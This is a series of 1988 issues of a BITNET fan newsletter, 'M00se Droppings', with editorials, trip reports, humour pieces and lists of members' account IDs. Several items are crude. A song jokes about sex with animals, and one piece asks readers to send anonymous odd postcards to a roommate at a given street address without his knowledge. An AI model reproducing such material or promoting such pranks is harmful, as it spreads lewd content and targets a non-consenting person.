> For those of you who like to read stories...well, there's Sfstory,
>a little ditty I cowrite. It's a very M00selike story, and once even
>included a talking m00se!
> bl00p forever,
> Sabrem00se
I think it would be easiest if we all subscribed to CSNEWS. Then comes
a big question, though: Do you want to continue to send me submissions,
and I'll compile M00se Droppings and post it to CSNEWS (thus using it merely
as a distribution method) or should we drop the newsletter format, and just
have everybody post to CSNEWS (thus using it as a listserv of sorts). Let
me know what you think. I suppose we could do both, posting to CSNEWS for
casual banter, and I'll compile fiction and things into M00se Droppings.
Tell me what you think ASAP, and we'll try and reach a conclusion
before next friday. And until then,
Bl00p and farewell,
Pickle
---------------
EVENTS AND NEWS
---------------
There is no news this week.
------------------
FICTION AND POETRY
------------------
There is, however, a song, submitted by Sindex. Author unknown, he got
it at a con some time ago.
M00SE
When I was a young man i used to like girls,
I fondled their curves and I patted their curls,
But me girlfriend ran off with a salesman named Bruce,
You'd never get treatment like that from a M00se!
Chorus:
So it's M00se, M00se, I like a M00se,
I've never 'ad anything quite like a M00se,
I've 'ad many women, my life has been loose,
But I've never 'ad anything quite like a M00se!
Now when I'm in need of a very good lay,
I go to me closet and gets me some hay,
I opens me window and spreads it around,
'Cause M00se always comes when there's hay on the ground!
Chorus
Now I've made it with all kinds of beasties with hair,
I'd make it with snakes if their fangs were not there,
I've made it with walrus, two ducks and a goose,
But I've never 'ad anything quite like a M00se!
Chorus
Now gorillas are fine for a Saturday night,
And lions and tigers, they puts up a fight,
But it just ain't the same when you slams their caboose
As the feeling you gets when you 'umps with a M00se!
Chorus
(slowly)
Now that I'm old and advanced in me years,
I'll look back on me life, and I'll shed me no tears,
As I sit in me chair with me glass of Mateuse,
And play hide the salami with Molly the M00se!
Chorus
----------------------
MISCELLANEOUS NONSENSE
----------------------
Apart from the above lewd song, there is no nonsense in this issue. Quite
agreed, quite agreed, too silly, too silly.

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #3 | Disclaimer: The Editor will place almost anything | July 6, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
===============================================================================
----------------------
EDITORIALS AND LETTERS
----------------------
Yet another editorial by Pickle.
Well, fellow m00ses, it seems to have been decided. We are going
to use CSNEWS for banter and discussion, but M00se Droppings will be
distributed by m00ses, starting with me and branching out in a path that
Kamikaze is working on. He is arranging things (so I hear) so that nobody
will have to send more than 5-10 pieces of mail.
In the meantime, those of you who haven't subscribed to CSBB M00se
Discussion on CSNEWS do so! I sent the command a few days ago, if you forgot
it let me know and I'll tell you again.
Some of you may have noticed that this newsletter is late. As I
said, this is because GuS, my computer, is sick. Now that I'm back in a
VAX lab, I'm all set, except GuS is still sick. Hopefully it'll be all
better soon.
And now, since I haven't much to say, on with the newsletter.
---------------
EVENTS AND NEWS
---------------
Wolverine and Kamikaze hosted a few other chapters in the world's
first Fourth of July Thr0ng-a-Thon. Here is their report.
---------------------------------------------------------------------------
On July 1, Starfire, Hobgoblin, and Scamp arrived in the Philadelphia area
to meet with Wolverine and Kamikaze for the first-ever "Fourth of July
Thr0ng-A-Th0n". This is their story.
Kamikaze> Friday....why does everything always happen on Friday? First, I
get to go to work from 8am til noon (meaning I have to get up at 6am),
then ride to my physical therapy (for my bum shoulder) (that's an 11
mile ride), then get back home and *try* to get cleaned up before the
expected 4pm-5pm invasion. Well, I got showered, dressed, then
realized my shirt needed ironing *sigh*, then my mother tells me to
do some vacuuming, so I do that while the shirt cools, and just as I
put the vacuum away, I see a familiar car go driving right past my
house and on up the hill. So I rush to put my shirt on and stand at
the door, waiting to see how long it would take for them to realize
they missed something. Mere moments later, they arrived...I called
Wolvie, told him they were there (all right, so he had to beat it out
of me...I do like to be difficult with him sometimes ;-)
Wolverine> After I got done work, my room-mate and I headed to Kamikaze's
house where I was raped by his dog (as usual). You have to under-
stand that Kami's dog loves sticking her nose into my private areas,
and while I love animals, I don't LOVE animals, if you get my
meaning. [don't you believe it...he really likes it, otherwise he
wouldn't keep coming back for more, right?....Kami] We then had
dinner curtesy of Kami's mom, and departed to see Roger Rabbit! A
magnificent movie! Some kids were throwing popcorn up in the air,
so I joined 'em. *devious grin* I got to rumage through Stacey's
purse until the movie started. She had some of the wierdest things
in there, including one VERY old jellybean.
Kamikaze> Well, the movie was great, but *I* really enjoyed the first feature
that they showed prior to WFRR. Let's all reach deep down and give
from the heart to the Will Roger's Institute....sorry folks, I like
charity events and whatnot, but not when I've already been milked
$5.00 to see a movie...I want to see the movie, not a bunch of out-of-
work stars doing a charity bit....
Wolverine> We then headed back to my apartment, where we watched movies until
late in the night. Kamikaze and Scamp then left for his house,
where Scamp was going to be staying in a guest room. (Starfire and
Hobgbolin had to settle for my floor.) Those of us staying at my
apartment stayed up until 3 am or so. Oh, and the superintendant
came down and complained that Starfire was laughing too loudly. At
3 a.m. I went to bed, leaving Star and Hob to stay up until 4 a.m.
talking.
Kamikaze> Humph...and they complained about being tired....Scamp went right to
bed (and I assume right to sleep, I didn't look)...I got lucky enough
to be hit with insomnia that night, so I didn't bother to sleep at
all...and was actually more awake than anyone else the next day.
Wolverine> Saturday morning we all woke up, watched "The Real Ghostbusters" on
TV and ate home-made eggrolls until it was time to depart to the
Philadelphia Zoo. I actually made money from the deal. (It was a
3.50 entry charge, handed the cashier a 10, and got 11.50 back in
change 8*) Then i started howling at the wolves, who were already
howling. Wandered the Zoo for several hours, and then got lost
coming home thanks to some lousy detours.
Kamikaze> Now wait a minute....we did not get lost, just took a brief,
unscheduled local tour. I knew where I was the whole time, as
evidence by the fact that we did not have to turn around at any time.
Anyway, the Zoo was more or less well enjoyed, most down time being
from tired and hot folks...the Large Cats house and white tiger
seemed to be one of the overall favorites, along with the primate
house.
Wolverine> That night we played D&D, and I actually had a woman sleep in my
bed! At last!
Kamikaze> Now before you all think he got lucky or that one of the girls was
blind drunk (just kidding Wolvie...put those claws away)...Hob was
one of the more exhausted members of the weekend, and we all told
to do herself a favor and stop falling asleep in the chair and go
crash in the bedroom, and Wolvie offered his bed to her. Sorry big
guy, but nice try anyway ;-)
Wolverine> Okay! So her and I are only friends and I slept in the other room!
Details, Details! Anyway, we all crashed rather late that night,
and subsequently slept late Sunday morning. (Actually, Hob had
been up earlier than any of us.) We then sat around, watched
_The_Untouchables_, until it was time for The Gals From Up North
to depart. (And then my room-mate and I spent several days cleaning
up.)
Kamikaze> Hey, don't look at me like that...I helped with some of the cleanup
to...but after all, I spent the whole weekend chauffering everyone
around, because there wasn't any comfortable way to fit the six of
us into Scamp's car...my mother was a bit worried when she found out
that over 175 miles got put on her car over the weekend, and we never
left town...
Wolverine> So all in all, it was an enjoyable experience, and we are looking
forward to the next Thr0ng-A-Th0n, wherever and whenever it may be.
Bl00p forever!
Wolverine & Kamikaze
------------------
FICTION AND POETRY
------------------
>>Fiction from Wolverine<<
"I'm a M00se," he thought. "I know it...they don't. That's not the
problem. I like it that way. The problem is keeping them from knowing it."
He thought this while walking the wrong way down a busy sidewalk, constantly
jostling people due to the fact that he was going in the opposite direction
of everyone else. They were annoyed; he didn't mind. He liked it like that.
"Fucking plebs," he thought. "Get a life."
Pushing his cart through the Acme, he looked around at the people
surrounding him. "More plebs," he thought disgustedly as he tossed a package
of Devil Dogs into his cart. Walking down the next aisle, he grabbed a
jar of peanut butter and tossed it into the cart. The jar hit the package
of Devil Dogs and crushed it. "I gotta get away from these plebs," he
thought. They're makin' me sick. Look at 'em! Brainless cattle trodding
through the dulldrum of their common, everyday lives. Suckers."
Waiting in the check-out line, he saw a little kid in the next line
throwing a temper tantrum as his mother tried get hom out of a cart. Kicking
and screaming, he flailed out and knocked over a display of Tupperware as she
lifted him out of the cart. "That's it kid," he thought. "Fight 'em. It's
the only way." He was brought out of the reverie of his thoughts by the
teenage girl at his cash register.
"Hey mista'! Yer Devil Dawgs're crushed! Ya' want another box?" she
asked, cracking the huge wad of gum in her mouth.
"No," he replied. "I like it that way."
Walking back to his apartment, he saw a car accident on 49th Avenue.
A car making a left turn from Sussex Avenue onto 49th slammed into a
'79 Caddy. A little guy in polyester suit got out of the Caddy and started
shouting at the guy who hit him. The other guy was a little guy in a
polyester suit too. "Both of them'll probably call 'Lawyers-R-Us tonight,"
he thought. "What a joke."
Getting home, he dumped his Acme bag on the kitchen table and plopped
down in his easy chair. Grabbing the remote control, he started flipping
through TV channels until he came across The Oprah Winfrey Show. Orca's
special guest today was Morton Downey Jr. They were supposed to have
a slug-fest, with the winner getting the chance to punch Johnny Carson in
the face. "This oughta' be interesting," he thought. He had already placed
a fifty dollar bet on Morton earlier that day with his bookie. "Let's just
hope this one last longer than the Tyson-Spinx fiasco," he had told his
bookie. "I had to go to the john and wound up missing the entire fight."
After the opening credits rolled, Oprah stepped into the ring area that had
been specially set up for the event. In another minute, Morton stepped into
the ring, brandishing a 2-by-4 with a mouth painted on one end. He swung
it at Oprah`s head, but it bounced harmlessly off of Oprah's hair, which
had been styled earlier by Don King himself. "This should be really
interesting," he thought, reaching for the crushed box of Devil Dogs.
co. Frank Orzechowicz June 30, 1988
(P.S. Blame it on last night's full moon.)
----------------------
MISCELLANEOUS NONSENSE
----------------------
(Here is a shamelessly pirated Monty Python excerpt sent by Beez and altered
by your friendly editor.)
Subject: Rocky vs. Rambo on Friday the 13th at Elm Street IV:This
time its personal
Good evening. Here is the news for m00ses. No m00ses were involved
in an accident on the M1 today when a lorry carrying high octane
fuel was in collision with a bollard...that is a bollard and not a
m00se. A spokesman for m00ses said he was glad that no m00ses
were involved. The Minister of Technology today met the three
Russian leaders to discuss a $4 million airliner deal. None of
them went in the woods or practiced passive resistance against
hunters with large guns by staring at them with big, soulful eyes.
And now for part three of `A tale of Two Cities', adapted for m00ses
by Joey Boy.
===============================================================================
And last but not least, an update on the list of m00ses on Bitnet. Please
inform me if anything is incorrect!
Bryn Mawr chapter M_PETTIT @ BRYNMAWR Midland Maniac
Boston University chapter CLXLAUC @ BUACCA Rorshach
Cornell chapter CBRY @ CORNELLA Ladykate
Lansing, NY chapter B45J @ CRNLVAX5 Half-Elf
Connecticut State U thr0ng CEBELENS_CHR @ CTSTATEU The Red Mage
CLAFFEY_JOR @ CTSTATEU Indiana Joe
WITHALL @ CTSTATEU Hobgoblin
Hartford thr0ng DICKSON @ HARTFORD Pickle/MOON ROACH!
SZIMMERM @ HARTFORD Greymalkin
Haverford thr0ng K_KRAVITZ @ HVRFORD Q.
S_BLINN @ HVRFORD Sean Blinn
Loyola thr0ng STASA @ LOYVAX Phoenix
PAMELA @ LOYVAX Mommydammit
SETH @ LOYVAX Seth
Maine thr0ng BURNS @ MAINE Sabre
IO80222 @ MAINE RainMaker
RFK350B @ MAINE Guardian Angel
Michigan Tech chapter WJB @ MTUS5 Sindex
Penn State chapter WCF @ PSUECL Bill Fenner
Stony Brook thr0ng CHOBBIE @ SBCCVM Admiral Lord Nelson
RRKHAN @ SBCCVM Romel
WALL @ SBCCVM Wall
Sweden chapter ICE @ SEQZ51 Ice
Siberacuse thr0ng EBLIVING @ SUNRISE Eric Livingstone (sp?)
JBANKERT @ SUNRISE CHAOS Engineer
RABEELER @ SUNRISE Beez
RETANTS @ SUNRISE Scamp
LIBLJR @ SUVM Niniane
Towson State U. chapter S76NING @ TOWSONVX Paul
Trinity thr0ng FANTASYG @ TRINCC Trinity Fantasy Guild
OPER3 @ TRINCC Razz
Governor's School chapter GSRHAMBY @ UTKVX3 Cocker
Villanova thr0ng 188622462 @ VUVAXCOM Kamikaze
193588131 @ VUVAXCOM Wolverine
Wesleyan thr0ng JBLUESTEIN @ WESLEYAN WabeWalker
JVINCENT @ WESLEYAN Lord Rassilon
RSIMON @ WESLEYAN Roanic
Washington State U. thr0ng 24945863 @ WSUVM1 Bard
23480853 @ WSUVM1 Ishtar
Xavier chapter BRUGGMNJ @ XAVIER John

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #4 | Disclaimer: The Editor will place almost anything | July 14, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
===============================================================================
----------------------
EDITORIALS AND LETTERS
----------------------
There are no real editorials this week. All I have to say is that
Kamikaze has nearly completed the forwarding map for the new distribution
method. Hopefully the map itself will be included in issue #5, and we can
start using it as of issue #6.
Oh, yes, many of you still have questions about subscribing to the
CSNEWS m00se discussion. Issue the following command to CSNEWS@MAINE with
an interactive message:
CSBB SUBSCRIBE M00SE
You will then receive lots of help files that will explain how to
post messages to the list. We can thank Sindex for sending me the command
after I accidentally deleted it.
---------------
EVENTS AND NEWS
---------------
There was a thr0ng-a-thon in Baltimore this past weekend, which
I attended (hence the lateness of this issue!) My report will be included
in issue #5.
------------------
FICTION AND POETRY
------------------
No original stuff this week. You may be thinking, "What a dull
issue!" But wait.....there is lots of:
----------------------
MISCELLANEOUS NONSENSE
----------------------
Lots of nonsense this week. This is from Wolverine:
The following article was taken from the pages of "National Lampoon's
Yellow Journal" section and is fiction, not fact.
==============================================================================
Millions Cheer As Cher Keels Over Dead
-------- ----- -- ---- ----- ---- ----
The nations of the world are a little closer this month, thanks in part
to the recent death of seventy-four-year-old health-club spokesunit and
Oscar winner Cher, who suddenly degraded into her component elements during
the filming of a new spa commercial.
In celebration of the blessed event, the Palestinians and Israelis have
agreed to peace talks, Iran and Iraq have called a cease-fire, and the
Nicaraguan contras have surrenedered their weapons. Pope John Paul II has
called a special Mass in Rome, calling the death "proof positive of a God
who cars and takes and active part in imporoving the lives of men."
The cause of death has not been determined. The actress/singer/monlith
was last seen entering a hot steam bath. Details are sketchy, although
bystanders report hearing screams of "Gatemaster, give me another year,"
followed by a soft gurgling sound. No remains were found other than a
small piece of tinfoil the deceased often wore as an evening gown.
==============================================================================
In a seemingly ordinary letter, to add Damsel to the M00se Illuminati,
Lord Rassilon wrote:
> Amelia Goldberg (AGOLDBERG) aka: Damsel
> also wishes to M00se.
You will notice that Lord Rassilon used 'm00se' as a verb. I hereby
propose that we use 'm00se' as a verb whenever it seems appropriate, but
certainly not to the nauseating extent that those little blue creatures
used 'smurf' as a verb.
--Pickle.
===============================================================================
Last but not least, Beez sent us this song:
> Here is a song which is one of my favorites but I don't know who
>did it. If you do include it make a note that if anyone has a clue who did
>it, send a message to me. Also, if anyone wants a copy I will bring my tape
>to Camp Relay II: The search for M00se. Thanx.
The Mail order ad song
Fell asleep last night with the TV on,
Oh, what a dream I had.
Drempt I went and answered every single one of those
Late Night Mail order ads.
And four to 6 weeks later,
Much to my surprise,
The mailman came to my front door,
And I couldn't beleive my eyes
When he brought the
Vegematic, and the pocket-fisherman too.
The illuminated illustrated history of life,
Boxcar Willie with a ginsu knife.
A bamboo steamer and a smokeless ashtray,too.
And a tyed-dyed souviner shirt
From six flags over Burbank.
Well the doorbell rang all morning,
And all through the afternoon.
I shook with fright as it rang all night
Under the light of the Mastercard moon.
There was parcel post in the pantry,
UPS in the hall,
COD's to the ceiling,
And I just couldn't pay for it all.
When he brought the
Egg Scrambler, with a seal-a-meal carrying case.
A set of presidential commemorative plates,
So I can eat my eggs off the president's face.
A minute mender and a garden weasel too,
And an Autographed photgraph of Rin-Tin-Tin
At six flags over burbank
Well I realized I was dreaming,
So I gave a rowdy cheer.
But when I awoke, it was no joke,
Cause all that Shit was here!
So if you fall asleep with the tv on,
Let me tell you what to do.
Rip the telephone out of the wall,
Unless you want it to happen to you.
Cause you'll get the
Vegematic, and the pocketfisherman,too.
Illuminated Illustrated history of life,
Boxcar Willie with a Ginsu knife
A bamboo steamer and a needle that will knit or Croqhet,
And A tyed-dyed souviner shirt
From six flags over burbank.
=============================================================================
And, of course, another update on the General M00se list. We have somewhere
around eight new chapters, pushing our total BITNET thr0ng to over fifty
chapters, bl00p to you all and welcome! I apologize that you didn't get
personal mail from me, but it's been a very busy week...
Once again, look this list over and let me know if anything looks wrong.
If you told me once and I still didn't correct it, bear with me. I don't
always think straight.
Alaska thr0ng JSJPC1 @ ALASKA Jonathan
JSMDG @ ALASKA Martin
Bryn Mawr chapter M_PETTIT @ BRYNMAWR Midland Maniac
Boston University chapter CLXLAUC @ BUACCA Rorshach
Cornell chapter CBRY @ CORNELLA Ladykate
Lansing, NY chapter B45J @ CRNLVAX5 Half-Elf
Connecticut State U thr0ng CEBELENS_CHR @ CTSTATEU The Red Mage
CLAFFEY_JOR @ CTSTATEU Indiana Joe
PHINNEY_AVK @ CTSTATEU Phredde
WITHALL @ CTSTATEU Hobgoblin
Hartford thr0ng DICKSON @ HARTFORD Pickle/MOON ROACH!
SZIMMERM @ HARTFORD Greymalkin
Haverford thr0ng K_KRAVITZ @ HVRFORD Q.
S_BLINN @ HVRFORD Sean Blinn
Loyola thr0ng MARY_B @ LOYVAX Mary Beth
PAMELA @ LOYVAX Mommydammit
SETH @ LOYVAX Seth
STASA @ LOYVAX Phoenix
Maine thr0ng BURNS @ MAINE Sabre
IO80034 @ MAINE The Dragon
IO80222 @ MAINE RainMaker
RFK350B @ MAINE Guardian Angel
Michigan Tech chapter WJB @ MTUS5 Sindex
North Dakota State U. chapter UD140680 @ NDSUVM1 Nathan Irwin
Penn State chapter WCF @ PSUECL Bill Fenner
Stony Brook thr0ng CHOBBIE @ SBCCVM Admiral Lord Nelson
RRKHAN @ SBCCVM Romel
WALL @ SBCCVM Wall
Sweden chapter ICE @ SEQZ51 Ice
Saunacuse thr0ng EBLIVING @ SUNRISE Eric Livingstone (sp?)
JBANKERT @ SUNRISE CHAOS Engineer
RABEELER @ SUNRISE Beez
RETANTS @ SUNRISE Scamp
LIBLJR @ SUVM Niniane
Towson State U. chapter S76NING @ TOWSONVX Paul
Trinity thr0ng FANTASYG @ TRINCC Trinity Fantasy Guild
OPER3 @ TRINCC Razz
U of New Hampshire chapter J_BUTMAN @ UNHH Oliver
Governor's School chapter GSRHAMBY @ UTKVX3 Cocker
Villanova thr0ng 054649739 @ VUVAXCOM Satoru Ushiyama
188622462 @ VUVAXCOM Kamikaze
193588131 @ VUVAXCOM Wolverine
580074787 @ VUVAXCOM Colin O'Connell
Wesleyan thr0ng AGOLDBERG @ WESLEYAN Damsel
JBLUESTEIN @ WESLEYAN WabeWalker
JVINCENT @ WESLEYAN Lord Rassilon
RSIMON @ WESLEYAN Roanic
Washington State U. thr0ng 24945863 @ WSUVM1 Bard
23480853 @ WSUVM1 Ishtar
Xavier chapter BRUGGMNJ @ XAVIER the WILD ONE!!

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #5 | Disclaimer: The Editor will place almost anything | July 22, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
===============================================================================
-----------------------------------------------------------------------------
************************** EDITORIALS AND LETTERS ***************************
-----------------------------------------------------------------------------
Hi all! Here is Issue #5. You'll notice that it is being sent on a
Friday, as the first couple issues were. With any luck, I'll be able to
send them every Friday.
Thanks to the efforts of Kamikaze, we are now using the New Improved
Distribution Method. It should be nice and easy to use, but if there are
any problems let us know ASAP! We don't want to lose anybody.
And now, on with the issue.....
NOT GETTING ENOUGH MAIL?
========================
This is a plea to all m00ses on behalf of myself and two fellow
m00ses (Nathan Irwin and Dragon) to subscribe to sf_story csnotice,
the same way you subscribed to m00se csnotice. Please, the
offer is free, the m00ses needy, and all you have to do is
call now...offer not available on all computer systems.
Sabre
NOT GETTING *ANY* MAIL?
=======================
As a postscript to my last letter, here are a few other csnotices I
feel m00ses will like....
m00se--already told you about that one.
sf_story--see last letter.
st_story--A startrek story I'm writing. Not very m00selike,
but bl00p it all, I'm going to toot my own horn!
Jqp_story--A story fellow m00se Rainmaker is writing.
startrek--for all you trek-types, this one's all about anything and
everything having to do with trek.
sex--a fun csnotice if ever I've read one.
latenite--Late Night with David Lettermen. Need I say more? I
for one think we should make Dave a m00se anyway, you know?
humor--self-explainatory
And others...god there are others. So, get off your m00sing
A**es and subscribe. That command sequence again....
tell (or whatever) csnews@maine csbb subscribe <topic-name> csnotice
In a future letter, I'll tell you how to request back volumes.
Ok? OK!
Sabre
FOR THOSE WHO REMEMBER SATURDAY MORNINGS...
===========================================
M00SE.
a verb.
sounds like the subject of a schoolhouse rock to me...
heheh
mommydammit
-------------------------------------------------------------------------------
******************************* EVENTS AND NEWS *******************************
-------------------------------------------------------------------------------
INTERESTED IN OTHER PEOPLE'S VACATIONS?
=======================================
On July 8th, 1988, the Pickle chapter of the M00se Illuminati packed up and
headed for Baltimore, MD for a thr0ng-a-thon and concert. This is his story.
JULY 8, 1988 (Approximately 3:30 P.M.): Car packed. Food and tapes on
passenger seat. Full tank (30-35 gallons) of premium gasoline. Mad River
Explorer on roof racks. An estimated 4700 lbs. of car, driver, supplies, and
canoe hit the road. Itinerary: bank, Triple-A, Highway 84w.
(App. 4:00 P.M.): Bank accounts now empty. $105 in pocket. On way to AAA,
1-liter bottle of Coca-Cola Classic assaults car and driver. Theory:
poltergeist in bottle. Go to AAA, get card. Coke is corrosive; as it would
not do to leave it on the car, head for nearest car wash.
(App. 4:30 P.M.): While entering gas station to pay for car wash, realize that
there is Mad River Explorer on roof racks. Curse, head for nearest non-
automatic car wash in South Windsor.
(App. 5:30 P.M.): Car Washed, Dairy Queen cherry Misty Freeze in stomach, on
84w. Just before passing Farmington exit, realize that there are no clothes
suitable for concert in duffel bag. Snarl a lot, take Farmington exit home.
(App. 6:00 P.M.): Finally hit road with pants, shirt, mismatched but dark
socks, shoes, borrowed tie. Determined to call Stasa at approximately 10:00
P.M. to tell her I'll be 2 hours late.
(App. 11:00 P.M.): Realizing have forgotten to call Stasa. About to seek
phone when sign leaps out of bushes and states "Baltimore 58 miles." Realize
in amazement that the trip is two hours shorter than expected.
(12:02 P.M.): Arrive at Stasa's home and habitation, 2 minutes late. Present
flowers and Asti and apologize. Ponder the realization that the Supertanker
quaffed down at least two quarts of oil on the trip.
(The time periods between events will now increase.)
(Saturday, July 9, 1988): Wake up. Accompany Stasa to pool. Meet her fellow
lifeguards. Add weight to theory that one of the requirements of being a
lifeguard is a stunning appearance in bathing suit. Avoid looking too
stunned, read book. Several hours later, impressive electrical storm puts on
spectacular audiovisual display. Back to Stasa's house, change, meet Q. and
friend with fast car, head out to meet Grup thr0ng. See _Who_Framed_Roger_
Rabbit_. Meet straggling Grup chapters, head for dinner. In attendance:
Stasa, Q., Q.'s friend (Steve?), Sybil, Fast Eddie, Markus, Mommy Dammit, Mary
Beth, Paul?, Mike, Damion (sp?), Damion's support group, myself. In no
particular order. Sorry if I missed someone. Fries, beverages, joke,
homeward. Mary Beth actually was ill and missed dinner, but at least we
got to see her. Home, sleep.
(Sunday, July 10, 1988): Pool again, many of those listed above in attendance
for pool party. Stasa proves that she is paid too little. Many scorched
m00ses. Sunglasses wars. Home and sleep.
(Monday, July 11, 1988): Wake up, discover everybody was right and shoulders
were, in fact, burned. Take painful shower. Outdoor temp once again 100+.
Stasa leads the way to the Gunpowder river. Very pretty, much cooler, and
infested with some kind of biting fly. Back home, collect Mary Beth, go to
Harbor Place, or Inner Harbor, or whatever its real name is. Comic shop fails
me second time in a row, does not have a single thing I'm looking for.
(Doesn't carry Warlock 5?! "Not much call for it 'round here", they say.)
Buy delicious fudge. Take Mary Beth home, go back to Stasa's, sleep.
(Tuesday, July 12, 1988): Observe spectacular storm at 2:00 am. Go with
Stasa to Loyola, receive as gift from Mike an account of my own. Back
to Stasa's for a while, then back to Loyola, get wiped out by Mike in
Conquest. Back to Stasa's again, leave with Mr. Appel to concert. German
and Austrian dancing and music. Inside for the concert. Piano concerto,
intermission, Ninth Symphony. First movement lacking, but second incredible.
Third and fourth very good. Howard Johnson's for dinner and snack.
Discovery: HoJo's is not a rathole everywhere. This one is more like
Denny's. Back once more, and sleep.
(Wednesday, July 13, 1988): Awake, farewell to all. Drive to Harbor Place,
shop and eat a little more. Hit the road home.
NOTE: New Jersey bashing ahead.
All was going well when a sign announced "This way to 95 north/NJ Turnpike".
Figuring, since I was already on it, that there was construction ahead
on the turnpike, I took the exit. And ended up on Route 1 North, with
a traffic light every half mile or so, for an hour. In heavy traffic.
Can't use air conditioner in stop-and-go. Suddenly realize what those
sneaky bastards had done! (Later confirmed by parents, this detour has
been there for years.) On either side of the road are thriving roadside
businesses, all of which would probably go out of business if people could
take 95 around them! If thoughts could drop bombs, New Jersey would be
a smoking wasteland right now, rather than just a wasteland. As if that
weren't enough, they charge $3 to leave NJ via the big suspension bridge.
I forget what it's called. They don't charge you to enter NJ!
Rest of trip without incident. Oh, except for one item of note... on
the NY-CT line is Danbury, CT. In it is the Danbury Federal Correctional
Institution. On the way past it going into CT is a sign:
FEDERAL CORRECTIONAL INSTITUTION
DO NOT PICK UP HITCHHIKERS
This sign does not exist on the other side of the road, as you travel
toward NY. Does this mean it's been stolen by a convict/hitchhiker, or
that CT doesn't care if escapees head for NY?
Well, that's my report. Not the best piece of writing I've done, but
hey! It's the summer!
Pickle.
-------------------------------------------------------------------------------
***************************** FICTION AND POETRY ******************************
-------------------------------------------------------------------------------
Once again, there is no fiction and poetry this week. Send me some and
I'll publish it. Please.
-------------------------------------------------------------------------------
*************************** MISCELLANEOUS NONSENSE ****************************
-------------------------------------------------------------------------------
SOMETHING FIENDISHLY M00SY TO DO...
===================================
Ahoy there! How's life going? What, you have a lot of time on your hands?
Well here's something that will both occupy your time and make the world a
stranger place to live in...
You see, I have this roommate who badly needs to have something odd happen
to him, only he doesn't know it. And what better place to go to get something
odd done than here? So what I'm asking is that, if you've got the mind,
sit down and write a postcard. Don't put your name on it, don't put a return
address, and for god's sake *SEND NO CASH*. Leave the message part blank,
put something weird in it (and I know you can...), or maybe some argument
for/against the existance of something, or a math puzzle or just random
words, it doesn't really matter...so long as he's baffled, bewildered, and
bemused...(no threats would be best, I'm not out to give him sleepless
nights...)
And, if you really care, let me know and I'll give you the bleedin' fifty
cents or so it costs. And if you know somebody in a remote area who might
want to drop this fellow a line (really, he's a big cheese weenie), that
would be great (I'm trying for the largest geographical spread here).
So anyway if you're still with me, here's the address:
Eduardo Looney (no, not his name but it's pretty close)
3465 Edinburgh #7
Riverside, CA 92507
by the way I'm sending this both to the literary underground and weird-l.
Sorry if you're seeing it twice. And if you think it's a gross waste
of net resources to do this, well I'm sending this on a weekend, see? And
if you think it's the greatest idea since...well I'm sure you can think
of something, the tell a friend! or a fiend!
Thank you for your consideration...
Kevin "you're not getting my last name" Lund
-------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE **************
-------------------------------------------------------------------------------
Alaska thr0ng JSJPC1 @ ALASKA Jonathan
JSMDG @ ALASKA Martin
Bryn Mawr chapter M_PETTIT @ BRYNMAWR Midland Maniac
Boston University chapter CLXLAUC @ BUACCA Rorshach
Cornell chapter CBRY @ CORNELLA Ladykate
Lansing, NY chapter B45J @ CRNLVAX5 Half-Elf
Connecticut State U thr0ng CEBELENS_CHR @ CTSTATEU The Red Mage
CLAFFEY_JOR @ CTSTATEU Indiana Joe
PHINNEY_AVK @ CTSTATEU Phredde
WITHALL @ CTSTATEU Hobgoblin
Hartford thr0ng DICKSON @ HARTFORD Pickle/MOON ROACH!
SZIMMERM @ HARTFORD Greymalkin
Haverford thr0ng K_KRAVITZ @ HVRFORD Q.
S_BLINN @ HVRFORD Sean Blinn
Loyola thr0ng MARY_BETH @ LOYVAX Mary Beth
PAMELA @ LOYVAX Mommydammit
SETH @ LOYVAX Seth
STASA @ LOYVAX Phoenix
Maine thr0ng BURNS @ MAINE Sabre
IO80034 @ MAINE The Dragon
IO80222 @ MAINE RainMaker
RFK350B @ MAINE Guardian Angel
Michigan Tech chapter WJB @ MTUS5 Sindex
North Dakota State U. chapter UD140680 @ NDSUVM1 Nathan Irwin
Penn State chapter WCF @ PSUECL Bill Fenner
Stony Brook thr0ng CHOBBIE @ SBCCVM Admiral Lord Nelson
RRKHAN @ SBCCVM Romel
WALL @ SBCCVM Wall
Sweden chapter ICE @ SEQZ51 Ice
Siberacuse thr0ng EBLIVING @ SUNRISE Eric Livingstone (sp?)
JBANKERT @ SUNRISE CHAOS Engineer
RABEELER @ SUNRISE Beez
RETANTS @ SUNRISE Scamp
LIBLJR @ SUVM Niniane
Towson State U. chapter S76NING @ TOWSONVX Paul
Trinity thr0ng FANTASYG @ TRINCC Trinity Fantasy Guild
OPER3 @ TRINCC Razz
U California Riverside chapter WATKINS @ UCRVMS Kevin
U of New Hampshire chapter J_BUTMAN @ UNHH Oliver
Governor's School chapter GSRHAMBY @ UTKVX3 Cocker
Villanova thr0ng 054649739 @ VUVAXCOM Satoru Ushiyama
188622462 @ VUVAXCOM Kamikaze
193588131 @ VUVAXCOM Wolverine
580074787 @ VUVAXCOM Colin O'Connell
CONS040 @ VUVAXCOM The Doctor
Wesleyan thr0ng AGOLDBERG @ WESLEYAN Damsel
EAUBRY @ WESLEYAN ED
JBLUESTEIN @ WESLEYAN WabeWalker
JVINCENT @ WESLEYAN Lord Rassilon
JDOTY @ WESLEYAN The Keeper
RSIMON @ WESLEYAN Roanic
Washington State U. thr0ng 24945863 @ WSUVM1 Bard
23480853 @ WSUVM1 Ishtar
